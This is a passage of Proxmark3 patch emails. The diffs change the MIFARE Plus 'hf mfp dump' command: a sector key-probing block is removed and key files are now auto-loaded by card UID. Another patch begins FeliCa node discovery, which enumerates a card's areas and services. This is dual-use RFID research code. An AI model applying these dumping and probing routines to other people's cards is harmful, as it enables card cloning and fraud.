numSectors; s++) { - if (aesFoundKeys[0][s][0] || aesFoundKeys[1][s][0]) { + if (aesFoundKeys[MF_KEY_A][s][0] || aesFoundKeys[MF_KEY_B][s][0]) { sectorSL[s] = MFP_SL_3; } - if (mfcFoundKeys[0][s][0] || mfcFoundKeys[1][s][0]) { + if (mfcFoundKeys[MF_KEY_A][s][0] || mfcFoundKeys[MF_KEY_B][s][0]) { sectorSL[s] = MFP_SL_1; } } - // Probe unclassified sectors with FFFFFFFFFFFF (CRYPTO1) - { - uint8_t probe_key[MIFARE_KEY_SIZE]; - memset(probe_key, 0xFF, MIFARE_KEY_SIZE); - uint8_t dummy[16 * 16] = {0}; - PrintAndLogEx(INFO, "Classifying sector security levels..."); - - for (uint8_t s = 0; s < numSectors; s++) { - if (sectorSL[s] != MFP_SL_UNKNOWN) { - continue; - } - - DropField(); - res = mf_read_sector(s, 0, probe_key, dummy); - if (res == PM3_SUCCESS) { - // FFFFFFFFFFFF worked -> SL1 with default key - sectorSL[s] = MFP_SL_1; - mfcFoundKeys[0][s][0] = 1; - memcpy(&mfcFoundKeys[0][s][1], probe_key, MIFARE_KEY_SIZE); - } else if (res == PM3_EUNDEF) { - // Card responded to ISO 14443-3 but wrong key -> SL1 - sectorSL[s] = MFP_SL_1; - } else { - // Timeout or other error -> SL3 - sectorSL[s] = MFP_SL_3; - } - } - DropField(); - - int pre_sl3 = 0, pre_sl1 = 0; - for (uint8_t s = 0; s < numSectors; s++) { - if (sectorSL[s] == MFP_SL_3) pre_sl3++; - else if (sectorSL[s] == MFP_SL_1) pre_sl1++; - } - PrintAndLogEx(SUCCESS, "Sector classification: " _GREEN_("%d") " SL3, " _YELLOW_("%d") " SL1", - pre_sl3, pre_sl1); - } - - // ======================================== - // Phase 2: AES key probing (SL3 sectors only) - // ======================================== - // plus_key_check skips sectors where foundKeys[][sector][0] is set, - // so we mark SL1 sectors with a dummy key to exclude them. - { - // Save and temporarily mark SL1 sectors so plus_key_check skips them - uint8_t sl1_backup[2][64]; - memset(sl1_backup, 0, sizeof(sl1_backup)); - - for (uint8_t s = 0; s < numSectors; s++) { - if (sectorSL[s] == MFP_SL_1) { - for (uint8_t kt = 0; kt < 2; kt++) { - sl1_backup[kt][s] = aesFoundKeys[kt][s][0]; - if (aesFoundKeys[kt][s][0] == 0) { - // Mark as "found" with dummy so plus_key_check skips it - aesFoundKeys[kt][s][0] = 0xFF; - } - } - } - } - - bool need_aes_probe = false; - for (uint8_t s = 0; s < numSectors; s++) { - if (sectorSL[s] == MFP_SL_3 && - (aesFoundKeys[0][s][0] == 0 || aesFoundKeys[1][s][0] == 0)) { - need_aes_probe = true; - break; - } - } - - if (need_aes_probe && !no_default) { - uint8_t *key_block = NULL; - uint32_t keycnt = 0; - res = mfp_load_keys(&key_block, &keycnt, NULL, 0, dict_fn, dictfnlen, card.uid, true); - if (res == PM3_SUCCESS && keycnt > 0) { - int sl3_unknown = 0; - for (uint8_t s = 0; s < numSectors; s++) { - if (sectorSL[s] == MFP_SL_3 && - (aesFoundKeys[0][s][0] == 0 || aesFoundKeys[1][s][0] == 0)) { - sl3_unknown++; - } - } - PrintAndLogEx(INFO, "Probing " _YELLOW_("%u") " AES keys against %d SL3 sectors...", keycnt, sl3_unknown); - uint8_t end_sector = numSectors - 1; - res = plus_key_check(0, end_sector, 0, 1, key_block, keycnt, aesFoundKeys, verbose, true); - if (res == PM3_EOPABORTED) { - PrintAndLogEx(WARNING, "\nAborted"); - } - PrintAndLogEx(NORMAL, ""); - } - free(key_block); - } - - // Restore SL1 sector dummy markers - for (uint8_t s = 0; s < numSectors; s++) { - if (sectorSL[s] == MFP_SL_1) { - for (uint8_t kt = 0; kt < 2; kt++) { - if (aesFoundKeys[kt][s][0] == 0xFF) { - aesFoundKeys[kt][s][0] = sl1_backup[kt][s]; - } - } - } - } - } - - // ======================================== - // Phase 3: MFC key probing (SL1 sectors only) - // ======================================== - if (mfcProbeKeyCnt > 0 && mfcProbeKeys != NULL) { - int sl1_need_keys = 0; - for (uint8_t s = 0; s < numSectors; s++) { - if (sectorSL[s] == MFP_SL_1 && - (mfcFoundKeys[0][s][0] == 0 || mfcFoundKeys[1][s][0] == 0)) { - sl1_need_keys++; - } - } - - if (sl1_need_keys > 0) { - PrintAndLogEx(INFO, "Probing " _YELLOW_("%u") " MFC keys against %d SL1 sectors...", mfcProbeKeyCnt, sl1_need_keys); - for (uint8_t s = 0; s < numSectors; s++) { - if (kbd_enter_pressed()) { - PrintAndLogEx(WARNING, "\naborted via keyboard"); - break; - } - if (sectorSL[s] != MFP_SL_1) { - continue; - } - if (mfcFoundKeys[0][s][0] && mfcFoundKeys[1][s][0]) { - continue; - } - mfp_sl1_try_keys(s, mfcProbeKeys, mfcProbeKeyCnt, mfcFoundKeys, verbose); - } - PrintAndLogEx(NORMAL, ""); - } - } - - // Restore firmware debug level before reading - setDeviceDebugLevel(dbg_curr, false); - - // ======================================== - // Phase 4: Read sectors with found keys - // ======================================== uint16_t totalBlocks = 0; for (uint8_t s = 0; s < numSectors; s++) { totalBlocks += mfNumBlocksPerSector(s); @@ -2406,7 +2135,7 @@ static int CmdHFMFPDump(const char *Cmd) { uint8_t *carddata = calloc(totalBlocks * MFBLOCK_SIZE, sizeof(uint8_t)); if (carddata == NULL) { PrintAndLogEx(ERR, "Failed to allocate memory"); - free(mfcProbeKeys); + return PM3_EMALLOC; } @@ -2432,7 +2161,7 @@ static int CmdHFMFPDump(const char *Cmd) { if (sectorSL[s] == MFP_SL_3) { // --- Try SL3 (AES) --- - for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { + for (uint8_t kt = MF_KEY_A; kt <= MF_KEY_B && !readOK; kt++) { if (aesFoundKeys[kt][s][0] == 0) { continue; } @@ -2446,13 +2175,13 @@ static int CmdHFMFPDump(const char *Cmd) { sectorsRead++; sl3Count++; } else if (verbose) { - PrintAndLogEx(DEBUG, "Sector %u SL3 key%s failed: %d", s, (kt == 0) ? "A" : "B", res); + PrintAndLogEx(DEBUG, "Sector %u SL3 key%s failed: %d", s, (kt == MF_KEY_A) ? "A" : "B", res); } } } else if (sectorSL[s] == MFP_SL_1) { // --- Try SL1 (CRYPTO1) --- DropField(); - for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { + for (uint8_t kt = MF_KEY_A; kt <= MF_KEY_B && !readOK; kt++) { if (mfcFoundKeys[kt][s][0] == 0) { continue; } @@ -2466,7 +2195,7 @@ static int CmdHFMFPDump(const char *Cmd) { sectorsRead++; sl1Count++; } else if (verbose) { - PrintAndLogEx(DEBUG, "Sector %u SL1 key%s failed: %d", s, (kt == 0) ? "A" : "B", res); + PrintAndLogEx(DEBUG, "Sector %u SL1 key%s failed: %d", s, (kt == MF_KEY_A) ? "A" : "B", res); } } } @@ -2500,26 +2229,26 @@ static int CmdHFMFPDump(const char *Cmd) { switch (sectorSL[s]) { case MFP_SL_3: slStr = _GREEN_("3 "); - if (aesFoundKeys[0][s][0]) { - snprintf(strA, sizeof(strA), _GREEN_("%s"), sprint_hex_inrow(&aesFoundKeys[0][s][1], AES_KEY_LEN)); + if (aesFoundKeys[MF_KEY_A][s][0]) { + snprintf(strA, sizeof(strA), _GREEN_("%s"), sprint_hex_inrow(&aesFoundKeys[MF_KEY_A][s][1], AES_KEY_LEN)); } else { snprintf(strA, sizeof(strA), _RED_("%s"), "--------------------------------"); } - if (aesFoundKeys[1][s][0]) { - snprintf(strB, sizeof(strB), _GREEN_("%s"), sprint_hex_inrow(&aesFoundKeys[1][s][1], AES_KEY_LEN)); + if (aesFoundKeys[MF_KEY_B][s][0]) { + snprintf(strB, sizeof(strB), _GREEN_("%s"), sprint_hex_inrow(&aesFoundKeys[MF_KEY_B][s][1], AES_KEY_LEN)); } else { snprintf(strB, sizeof(strB), _RED_("%s"), "--------------------------------"); } break; case MFP_SL_1: slStr = _YELLOW_("1 "); - if (mfcFoundKeys[0][s][0]) { - snprintf(strA, sizeof(strA), _GREEN_("%s") " ", sprint_hex_inrow(&mfcFoundKeys[0][s][1], MIFARE_KEY_SIZE)); + if (mfcFoundKeys[MF_KEY_A][s][0]) { + snprintf(strA, sizeof(strA), _GREEN_("%s") " ", sprint_hex_inrow(&mfcFoundKeys[MF_KEY_A][s][1], MIFARE_KEY_SIZE)); } else { snprintf(strA, sizeof(strA), _RED_("%s"), "--------------------------------"); } - if (mfcFoundKeys[1][s][0]) { - snprintf(strB, sizeof(strB), _GREEN_("%s") " ", sprint_hex_inrow(&mfcFoundKeys[1][s][1], MIFARE_KEY_SIZE)); + if (mfcFoundKeys[MF_KEY_B][s][0]) { + snprintf(strB, sizeof(strB), _GREEN_("%s") " ", sprint_hex_inrow(&mfcFoundKeys[MF_KEY_B][s][1], MIFARE_KEY_SIZE)); } else { snprintf(strB, sizeof(strB), _RED_("%s"), "--------------------------------"); } @@ -2555,7 +2284,7 @@ static int CmdHFMFPDump(const char *Cmd) { if (nosave) { PrintAndLogEx(INFO, "Called with no-save option"); free(carddata); - free(mfcProbeKeys); + return PM3_SUCCESS; } @@ -2570,7 +2299,7 @@ static int CmdHFMFPDump(const char *Cmd) { if (fptr == NULL) { PrintAndLogEx(ERR, "Failed to allocate memory"); free(carddata); - free(mfcProbeKeys); + return PM3_EMALLOC; } strcpy(fptr, "hf-mfp-"); @@ -2587,7 +2316,6 @@ static int CmdHFMFPDump(const char *Cmd) { } free(carddata); - free(mfcProbeKeys); return PM3_SUCCESS; } From 7159711734bb88263ec1377dc5043267803fef8c Mon Sep 17 00:00:00 2001 From: Tomas Nilsson Date: Sun, 8 Mar 2026 19:18:24 +0100 Subject: [PATCH 070/162] Auto-detect key files by UID in hf mfp dump When no --keys or --mfc-keys arguments are given, automatically look for hf-mfp--key.json and hf-mf--key.bin files, matching the output of hf mfp chk --dump and hf mf chk --dump. Fail with helpful message if no keys are available, matching the behaviour of hf mf dump. --- client/src/cmdhfmfp.c | 66 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 57 insertions(+), 9 deletions(-) diff --git a/client/src/cmdhfmfp.c b/client/src/cmdhfmfp.c index a6b182fd1..3dc3f5078 100644 --- a/client/src/cmdhfmfp.c +++ b/client/src/cmdhfmfp.c @@ -1901,16 +1901,16 @@ static int CmdHFMFPChk(const char *Cmd) { return PM3_SUCCESS; } -static int mfp_load_keys_from_json(const char *filename, uint8_t foundKeys[2][64][AES_KEY_LEN + 1]) { +static int mfp_load_keys_from_json(const char *filename, uint8_t foundKeys[2][64][AES_KEY_LEN + 1], bool verbose) { - // loadFileJSON handles "mfpkeys" file type via loadFileJSONex. + // loadFileJSONex handles "mfpkeys" file type. // Buffer layout: UID(7) + pad(3) + SAK(1) + ATQA(2) + ATSlen(1) + ATS(atslen) // then flat keys: KeyA0(16) KeyB0(16) KeyA1(16) KeyB1(16) ... uint8_t data[14 + 256 + (2 * 64 * AES_KEY_LEN)]; memset(data, 0, sizeof(data)); size_t datalen = 0; - int res = loadFileJSON(filename, data, sizeof(data), &datalen, NULL); + int res = loadFileJSONex(filename, data, sizeof(data), &datalen, verbose, NULL); if (res != PM3_SUCCESS) { return res; } @@ -1943,13 +1943,13 @@ static int mfp_load_keys_from_json(const char *filename, uint8_t foundKeys[2][64 #define MFP_SL_3 3 // Load MFC (CRYPTO1) keys from a binary key file (first half keyA, second half keyB) -static int mfp_load_mfc_keys_from_bin(const char *filename, uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1], uint8_t numSectors) { +static int mfp_load_mfc_keys_from_bin(const char *filename, uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1], uint8_t numSectors, bool verbose) { uint8_t *keyA = NULL; uint8_t *keyB = NULL; size_t alen = 0, blen = 0; - int res = loadFileBinaryKey(filename, "", (void **)&keyA, (void **)&keyB, &alen, &blen, true); + int res = loadFileBinaryKey(filename, "", (void **)&keyA, (void **)&keyB, &alen, &blen, verbose); if (res != PM3_SUCCESS) { return res; } @@ -1984,7 +1984,9 @@ static int CmdHFMFPDump(const char *Cmd) { "Dump MIFARE Plus tag to file (bin/json)\n" "Reads sectors using keys from `hf mfp chk --dump` (AES/SL3)\n" "and/or `hf mf chk` key file (CRYPTO1/SL1) for mixed-mode cards.\n" + "Key files are auto-detected by UID if not specified.\n" "If no given, UID will be used as filename", + "hf mfp dump\n" "hf mfp dump --keys hf-mfp-01020304-key.json\n" "hf mfp dump --keys hf-mfp-01020304-key.json --mfc-keys hf-mf-01020304-key.bin\n" "hf mfp dump -k ffffffffffffffffffffffffffffffff\n"); @@ -2066,11 +2068,25 @@ static int CmdHFMFPDump(const char *Cmd) { uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1]; memset(mfcFoundKeys, 0, sizeof(mfcFoundKeys)); + // Auto-detect AES key file by UID if not specified + char *aes_fptr = NULL; + if (keyfnlen == 0) { + aes_fptr = calloc(sizeof(char) * (strlen("hf-mfp-") + strlen("-key")) + card.uidlen * 2 + 1, sizeof(uint8_t)); + if (aes_fptr != NULL) { + strcpy(aes_fptr, "hf-mfp-"); + FillFileNameByUID(aes_fptr, card.uid, "-key", card.uidlen); + strncpy(key_fn, aes_fptr, FILE_PATH_SIZE - 1); + keyfnlen = strlen(key_fn); + } + } + // Load AES keys from JSON key file (from hf mfp chk --dump) if (keyfnlen > 0) { - res = mfp_load_keys_from_json(key_fn, aesFoundKeys); + res = mfp_load_keys_from_json(key_fn, aesFoundKeys, (aes_fptr == NULL)); if (res != PM3_SUCCESS) { - PrintAndLogEx(WARNING, "Failed to load AES key file, continuing without"); + if (aes_fptr == NULL) { + PrintAndLogEx(WARNING, "Failed to load AES key file, continuing without"); + } } else { int cnt = 0; for (uint8_t s = 0; s < numSectors; s++) { @@ -2080,6 +2096,7 @@ static int CmdHFMFPDump(const char *Cmd) { PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%d") " AES keys from key file", cnt); } } + free(aes_fptr); // Apply user-supplied AES key to all slots that don't have one yet if (userkeylen == AES_KEY_LEN) { @@ -2096,11 +2113,25 @@ static int CmdHFMFPDump(const char *Cmd) { PrintAndLogEx(SUCCESS, "Applied user AES key to " _GREEN_("%d") " key slots", applied); } + // Auto-detect MFC key file by UID if not specified + char *mfc_fptr = NULL; + if (mfckeyfnlen == 0) { + mfc_fptr = calloc(sizeof(char) * (strlen("hf-mf-") + strlen("-key.bin")) + card.uidlen * 2 + 1, sizeof(uint8_t)); + if (mfc_fptr != NULL) { + strcpy(mfc_fptr, "hf-mf-"); + FillFileNameByUID(mfc_fptr, card.uid, "-key.bin", card.uidlen); + strncpy(mfc_key_fn, mfc_fptr, FILE_PATH_SIZE - 1); + mfckeyfnlen = strlen(mfc_key_fn); + } + } + // Load MFC keys from binary key file (from hf mf chk) if (mfckeyfnlen > 0) { - res = mfp_load_mfc_keys_from_bin(mfc_key_fn, mfcFoundKeys, numSectors); + res = mfp_load_mfc_keys_from_bin(mfc_key_fn, mfcFoundKeys, numSectors, (mfc_fptr == NULL)); if (res != PM3_SUCCESS) { - PrintAndLogEx(WARNING, "Failed to load MFC key file, continuing without"); + if (mfc_fptr == NULL) { + PrintAndLogEx(WARNING, "Failed to load MFC key file, continuing without"); + } } else { int cnt = 0; for (uint8_t s = 0; s < numSectors; s++) { @@ -2110,6 +2141,23 @@ static int CmdHFMFPDump(const char *Cmd) { PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%d") " MFC (CRYPTO1) keys from key file", cnt); } } + free(mfc_fptr); + + // Check that we have at least some keys to work with + bool have_keys = (userkeylen == AES_KEY_LEN); + if (!have_keys) { + for (uint8_t s = 0; s < numSectors; s++) { + if (aesFoundKeys[MF_KEY_A][s][0] || aesFoundKeys[MF_KEY_B][s][0] || + mfcFoundKeys[MF_KEY_A][s][0] || mfcFoundKeys[MF_KEY_B][s][0]) { + have_keys = true; + break; + } + } + } + if (!have_keys) { + PrintAndLogEx(ERR, "No keys available. Run " _YELLOW_("`hf mfp chk --dump`") " and/or " _YELLOW_("`hf mf chk --dump`") " first"); + return PM3_ENODATA; + } // ======================================== // Read sectors with loaded keys From 6629db3659131c73c1f4c837ddd0e6c6e1f6e096 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Mon, 9 Mar 2026 18:50:26 +0200 Subject: [PATCH 071/162] Add universal node discovery for FeliCa --- CHANGELOG.md | 1 + client/src/cmdhffelica.c | 1468 +++++++++++++++++++++++++++++++------- client/src/cmdhflist.c | 6 + include/protocols.h | 3 + 4 files changed, 1220 insertions(+), 258 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f66da49df..edae94449 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf felica discnodes` command (@kormax) - Added `hf mfp dump` command (@apply-science) - Added `hf felica seacinfo` command (@kormax) - Added `hf mfdes bruteisofid` and `hf mfdes selectisofid` commands (@kormax) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index aca155b2a..1caeee9cd 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -47,6 +47,8 @@ #define FELICA_DEFAULT_TIMEOUT_MS 2000U #define FELICA_DEFAULT_RETRY_COUNT 3U +#define FELICA_DISCOVER_DEFAULT_RETRY_COUNT 5U +#define FELICA_DISCOVERY_RETRY_BACKOFF_MS 1000U #define FELICA_PLATFORM_INFO_MAX_LEN 64U #define FELICA_PLATFORM_INFO_WITH_MAC_INFO_LEN 25U #define FELICA_PLATFORM_INFO_WITH_MAC_LEN 20U @@ -63,14 +65,186 @@ #define FELICA_SERVICE_ATTRIBUTE_RANDOM_ACCESS (0b001000) #define FELICA_SERVICE_ATTRIBUTE_CYCLIC (0b001100) #define FELICA_SERVICE_ATTRIBUTE_PURSE (0b010000) +#define FELICA_SERVICE_ATTRIBUTE_PIN_REQUIRED (0b100000) #define FELICA_SERVICE_ATTRIBUTE_PURSE_SUBFIELD (0b000110) +#define FELICA_AREA_ATTRIBUTE_CAN_CREATE_SUBAREA 0x00U +#define FELICA_AREA_ATTRIBUTE_CANNOT_CREATE_SUBAREA 0x01U +#define FELICA_AREA_ATTRIBUTE_CAN_CREATE_SUBAREA_WITH_PIN 0x20U +#define FELICA_AREA_ATTRIBUTE_CANNOT_CREATE_SUBAREA_WITH_PIN 0x21U +#define FELICA_AREA_ATTRIBUTE_END_ROOT_AREA 0x3EU +#define FELICA_AREA_ATTRIBUTE_END_SUB_AREA 0x3FU + +#define FELICA_SERVICE_ATTRIBUTE_RANDOM_RW_WITH_KEY 0x08U +#define FELICA_SERVICE_ATTRIBUTE_RANDOM_RW_WITHOUT_KEY 0x09U +#define FELICA_SERVICE_ATTRIBUTE_RANDOM_RO_WITH_KEY 0x0AU +#define FELICA_SERVICE_ATTRIBUTE_RANDOM_RO_WITHOUT_KEY 0x0BU +#define FELICA_SERVICE_ATTRIBUTE_CYCLIC_RW_WITH_KEY 0x0CU +#define FELICA_SERVICE_ATTRIBUTE_CYCLIC_RW_WITHOUT_KEY 0x0DU +#define FELICA_SERVICE_ATTRIBUTE_CYCLIC_RO_WITH_KEY 0x0EU +#define FELICA_SERVICE_ATTRIBUTE_CYCLIC_RO_WITHOUT_KEY 0x0FU +#define FELICA_SERVICE_ATTRIBUTE_PURSE_RW_WITH_KEY 0x10U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_RW_WITHOUT_KEY 0x11U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_CASHBACK_WITH_KEY 0x12U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_CASHBACK_WITHOUT_KEY 0x13U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_DECREMENT_WITH_KEY 0x14U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_DECREMENT_WITHOUT_KEY 0x15U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_RO_WITH_KEY 0x16U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_RO_WITHOUT_KEY 0x17U + +#define FELICA_SERVICE_ATTRIBUTE_RANDOM_RW_WITH_KEY_WITH_PIN 0x28U +#define FELICA_SERVICE_ATTRIBUTE_RANDOM_RW_WITHOUT_KEY_WITH_PIN 0x29U +#define FELICA_SERVICE_ATTRIBUTE_RANDOM_RO_WITH_KEY_WITH_PIN 0x2AU +#define FELICA_SERVICE_ATTRIBUTE_RANDOM_RO_WITHOUT_KEY_WITH_PIN 0x2BU +#define FELICA_SERVICE_ATTRIBUTE_CYCLIC_RW_WITH_KEY_WITH_PIN 0x2CU +#define FELICA_SERVICE_ATTRIBUTE_CYCLIC_RW_WITHOUT_KEY_WITH_PIN 0x2DU +#define FELICA_SERVICE_ATTRIBUTE_CYCLIC_RO_WITH_KEY_WITH_PIN 0x2EU +#define FELICA_SERVICE_ATTRIBUTE_CYCLIC_RO_WITHOUT_KEY_WITH_PIN 0x2FU +#define FELICA_SERVICE_ATTRIBUTE_PURSE_RW_WITH_KEY_WITH_PIN 0x30U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_RW_WITHOUT_KEY_WITH_PIN 0x31U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_CASHBACK_WITH_KEY_WITH_PIN 0x32U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_CASHBACK_WITHOUT_KEY_WITH_PIN 0x33U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_DECREMENT_WITH_KEY_WITH_PIN 0x34U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_DECREMENT_WITHOUT_KEY_WITH_PIN 0x35U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_RO_WITH_KEY_WITH_PIN 0x36U +#define FELICA_SERVICE_ATTRIBUTE_PURSE_RO_WITHOUT_KEY_WITH_PIN 0x37U + +#define FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE 16U +#define FELICA_MAX_NODE_NUMBER 0x03FFU + +typedef struct { + uint8_t attribute; + bool is_area; + bool with_key; + bool with_pin; +} felica_request_service_probe_attribute_t; + +static const felica_request_service_probe_attribute_t FELICA_REQUEST_SERVICE_PROBE_ATTRIBUTES[] = { + {FELICA_AREA_ATTRIBUTE_CAN_CREATE_SUBAREA, true, true, false}, + {FELICA_AREA_ATTRIBUTE_CANNOT_CREATE_SUBAREA, true, true, false}, + {FELICA_SERVICE_ATTRIBUTE_RANDOM_RW_WITH_KEY, false, true, false}, + {FELICA_SERVICE_ATTRIBUTE_RANDOM_RW_WITHOUT_KEY, false, false, false}, + {FELICA_SERVICE_ATTRIBUTE_RANDOM_RO_WITH_KEY, false, true, false}, + {FELICA_SERVICE_ATTRIBUTE_RANDOM_RO_WITHOUT_KEY, false, false, false}, + {FELICA_SERVICE_ATTRIBUTE_CYCLIC_RW_WITH_KEY, false, true, false}, + {FELICA_SERVICE_ATTRIBUTE_CYCLIC_RW_WITHOUT_KEY, false, false, false}, + {FELICA_SERVICE_ATTRIBUTE_CYCLIC_RO_WITH_KEY, false, true, false}, + {FELICA_SERVICE_ATTRIBUTE_CYCLIC_RO_WITHOUT_KEY, false, false, false}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_RW_WITH_KEY, false, true, false}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_RW_WITHOUT_KEY, false, false, false}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_CASHBACK_WITH_KEY, false, true, false}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_CASHBACK_WITHOUT_KEY, false, false, false}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_DECREMENT_WITH_KEY, false, true, false}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_DECREMENT_WITHOUT_KEY, false, false, false}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_RO_WITH_KEY, false, true, false}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_RO_WITHOUT_KEY, false, false, false}, + {FELICA_AREA_ATTRIBUTE_CAN_CREATE_SUBAREA_WITH_PIN, true, true, true}, + {FELICA_AREA_ATTRIBUTE_CANNOT_CREATE_SUBAREA_WITH_PIN, true, true, true}, + {FELICA_SERVICE_ATTRIBUTE_RANDOM_RW_WITH_KEY_WITH_PIN, false, true, true}, + {FELICA_SERVICE_ATTRIBUTE_RANDOM_RW_WITHOUT_KEY_WITH_PIN, false, false, true}, + {FELICA_SERVICE_ATTRIBUTE_RANDOM_RO_WITH_KEY_WITH_PIN, false, true, true}, + {FELICA_SERVICE_ATTRIBUTE_RANDOM_RO_WITHOUT_KEY_WITH_PIN, false, false, true}, + {FELICA_SERVICE_ATTRIBUTE_CYCLIC_RW_WITH_KEY_WITH_PIN, false, true, true}, + {FELICA_SERVICE_ATTRIBUTE_CYCLIC_RW_WITHOUT_KEY_WITH_PIN, false, false, true}, + {FELICA_SERVICE_ATTRIBUTE_CYCLIC_RO_WITH_KEY_WITH_PIN, false, true, true}, + {FELICA_SERVICE_ATTRIBUTE_CYCLIC_RO_WITHOUT_KEY_WITH_PIN, false, false, true}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_RW_WITH_KEY_WITH_PIN, false, true, true}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_RW_WITHOUT_KEY_WITH_PIN, false, false, true}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_CASHBACK_WITH_KEY_WITH_PIN, false, true, true}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_CASHBACK_WITHOUT_KEY_WITH_PIN, false, false, true}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_DECREMENT_WITH_KEY_WITH_PIN, false, true, true}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_DECREMENT_WITHOUT_KEY_WITH_PIN, false, false, true}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_RO_WITH_KEY_WITH_PIN, false, true, true}, + {FELICA_SERVICE_ATTRIBUTE_PURSE_RO_WITHOUT_KEY_WITH_PIN, false, false, true}, +}; + +typedef enum { + FELICA_NODE_DISCOVERY_NONE = 0, + FELICA_NODE_DISCOVERY_REQUEST_CODE_LIST, + FELICA_NODE_DISCOVERY_SEARCH_SERVICE_CODE, + FELICA_NODE_DISCOVERY_REQUEST_SERVICE, + FELICA_NODE_DISCOVERY_READ_WITHOUT_ENCRYPTION, +} felica_node_discovery_method_t; + +typedef struct { + bool is_area; + uint16_t node_code_le; + bool has_end_code; + uint16_t end_code_le; +} felica_discovered_node_t; + +typedef int (*felica_node_discovery_visitor_t)(const felica_discovered_node_t *node, void *ctx); +typedef bool (*felica_node_discovery_runner_t)(uint8_t *flags, + const uint8_t *idm, + uint32_t retry_count, + felica_node_discovery_visitor_t visitor, + void *ctx, + uint32_t *discovered_count, + int *stop_status); + +typedef struct { + felica_node_discovery_method_t method; + const char *cli_name; + const char *display_name; + felica_node_discovery_runner_t run; +} felica_node_discovery_method_info_t; + +typedef struct { + uint32_t area_count; + uint32_t service_count; + uint16_t area_end_stack[8]; + int depth; + bool header_printed; +} felica_scsvcode_context_t; + +typedef struct { + uint8_t *flags; + uint8_t block_frame[PM3_CMD_DATA_SIZE]; + uint16_t block_datalen; + uint32_t retry_count; + uint32_t service_count; + uint32_t public_service_count; +} felica_dump_context_t; + + static int CmdHelp(const char *Cmd); static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose); static int send_felica_payload_with_retries(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, + int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, uint32_t backoff_ms, bool logging, PacketResponseNG *resp, const char *request_name); +static bool felica_discover_nodes_with_request_code_list(uint8_t *flags, + const uint8_t *idm, + uint32_t retry_count, + felica_node_discovery_visitor_t visitor, + void *ctx, + uint32_t *discovered_count, + int *stop_status); +static bool felica_discover_nodes_with_search_service_code(uint8_t *flags, + const uint8_t *idm, + uint32_t retry_count, + felica_node_discovery_visitor_t visitor, + void *ctx, + uint32_t *discovered_count, + int *stop_status); +static bool felica_discover_nodes_with_request_service(uint8_t *flags, + const uint8_t *idm, + uint32_t retry_count, + felica_node_discovery_visitor_t visitor, + void *ctx, + uint32_t *discovered_count, + int *stop_status); +static bool felica_discover_nodes_with_read_without_encryption(uint8_t *flags, + const uint8_t *idm, + uint32_t retry_count, + felica_node_discovery_visitor_t visitor, + void *ctx, + uint32_t *discovered_count, + int *stop_status); +static const felica_node_discovery_method_info_t *felica_get_node_discovery_method_info(felica_node_discovery_method_t method); +static const char *felica_node_discovery_method_display_name(felica_node_discovery_method_t method); +static void felica_print_node_discovery_method_used(felica_node_discovery_method_t method); +static int felica_compare_discovered_nodes(const void *lhs, const void *rhs); static felica_card_select_t last_known_card; static void set_last_known_card(felica_card_select_t card) { @@ -502,7 +676,7 @@ static int info_seac(void) { if (send_felica_payload_with_retries(seac_flags, sizeof(seac_poll_frames[i]), (uint8_t *)seac_poll_frames[i], false, -1, FELICA_SEAC_POLL_TIMEOUT_MS, FELICA_SEAC_POLL_RETRY_COUNT, - false, &resp, NULL) != PM3_SUCCESS) { + 0, false, &resp, NULL) != PM3_SUCCESS) { continue; } @@ -627,7 +801,7 @@ static int send_get_container_id(uint8_t flags, uint16_t datalen, uint8_t *data, if (send_felica_payload_with_retries(flags, datalen, data, false, FELICA_GET_CONTAINER_ID_ACK, FELICA_OPTIONAL_CMD_TIMEOUT_MS, FELICA_OPTIONAL_CMD_RETRIES, - false, &resp, "get container id") != PM3_SUCCESS) { + 0, false, &resp, "get container id") != PM3_SUCCESS) { return PM3_ERFTRANS; } @@ -653,7 +827,7 